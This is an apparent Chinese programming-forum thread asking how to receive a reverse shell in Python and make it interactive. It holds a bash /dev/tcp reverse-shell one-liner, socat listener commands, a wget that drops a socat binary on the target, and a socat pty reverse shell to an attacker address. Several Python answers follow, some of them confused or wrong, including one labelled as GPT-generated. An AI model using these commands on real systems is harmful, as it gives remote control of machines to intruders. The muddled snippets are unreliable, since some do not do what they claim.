请问各位如何用python接收反弹shell并实现交互功能?

在目标主机上执行:bash -i >& /dev/tcp/192.168.31.5/65533 0>&1
在攻击机上该如何使用python接收到这个shell连接?用socket能接受到,但是无法实现交互
源码:

img

socket给它发它能执行的东西吧,这个其实不太好弄的就单纯一个socket,他不执行就没啥用

你可以用subprocess.Popen创一个nc子进程,输入命令并将其发送到目标主机以后来接收打印目标主机的响应

https://www.cnblogs.com/pengpp/p/9833349.html

只用python是不行的,需要用pty模块或使用第三方库,如pwntools

python 反弹shell 交互,看下这个教程对你是否有帮助:
python 反弹shell 交互:https://blog.csdn.net/qq_32851223/article/details/127856299

python常用方式实现交互_实现交互式shell

使用socat

socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。缺点也很明显,只能在linux下面运行

使用起来也很简单。攻击机:# 首先安装

$ sudo apt install socat

# 执行

$ socat file:`tty`,raw,echo=0 tcp-listen:4444

目标机# 把socat上传到目标机器上或者直接下载

$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat

# 运行

$ chmod +x /tmp/socat

$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444

这种方式基本和ssh类似,ctrl+C也不会直接断开。

python 反弹shell 交互_完善反弹shell交互性_qq_32851223的博客-CSDN博客 本篇介绍解决如下问题的python脚本:漏洞利用,监听攻击机的端口拿到反弹shell,利用反弹shell进行横向的信息探索。_完善反弹shell交互性 https://blog.csdn.net/qq_32851223/article/details/127856299?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169278211116800225568913%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=169278211116800225568913&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-127856299-null-null.142^v93^chatsearchT3_2&utm_term=%E8%AF%B7%E9%97%AE%E5%90%84%E4%BD%8D%E5%A6%82%E4%BD%95%E7%94%A8python%E6%8E%A5%E6%94%B6%E5%8F%8D%E5%BC%B9shell%E5%B9%B6%E5%AE%9E%E7%8E%B0%E4%BA%A4%E4%BA%92%E5%8A%9F%E8%83%BD%EF%BC%9F&spm=1018.2226.3001.4187

import socket

def send_command(command):
    # 创建socket对象
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接到目标主机的IP和端口
    s.connect(('192.168.31.5', 65533))
    # 发送命令
    s.send(command.encode())
    # 接收和显示输出
    output = s.recv(4096).decode()
    print(output)
    # 关闭连接
    s.close()

if __name__ == '__main__':
    while True:
        command = input('$ ')
        if command.lower() == 'exit':
            break
        send_command(command)

可以用socket库创建一个服务器,然后使用subprocess库执行shell 命令并将输出发送回客户端,从而实现交互功能

可以看看这个

【以下回答由 GPT 生成】

import socket
import subprocess

def receive_shell():
    HOST = '0.0.0.0'
    PORT = 65533

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, PORT))
        s.listen()
        conn, addr = s.accept()
        with conn:
            while True:
                command = conn.recv(1024).decode().strip()
                if not command:
                    break
                result = subprocess.run(command, shell=True, capture_output=True)
                output = result.stdout + result.stderr
                conn.sendall(output)

这里是改进后的代码。主要的改动是替换了print(data.decode())这一行,改为使用subprocess.run()函数执行接收到的命令,并将结果发送回连接的主机。subprocess.run()函数能够执行系统命令并获取输出结果。

注意,这个代码片段并没有对接收的命令进行任何过滤或验证,这可能会导致安全问题。在实际使用时,请确保对接收到的命令进行适当的验证和过滤来防止命令注入攻击。



【相关推荐】



如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 写成博客, 将相关链接放在评论区, 以帮助更多的人 ^-^

import subprocess

def interact_shell():
    # 启动反弹shell
    shell = subprocess.Popen(["/bin/bash"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    
    while True:
        # 获取用户输入
        command = input("$ ")
        
        # 发送命令到shell
        shell.stdin.write(command.encode())
        shell.stdin.flush()
        
        # 读取shell的输出
        output = shell.stdout.readline().decode()
        
        # 输出结果
        print(output)
        
        # 检查shell是否已经退出
        if shell.poll() is not None:
            break

interact_shell()

这段代码使用subprocess.Popen启动一个反弹shell,并通过stdin发送命令,通过stdout读取输出。在一个循环中,用户可以输入命令,并将其发送到shell,然后读取输出并打印。循环会一直进行,直到shell退出。

请注意,这只是一个简单的示例代码,可能不适用于所有的情况。在实际使用中,你可能需要根据具体的需求进行修改和扩展,例如处理错误输出、处理特殊命令等。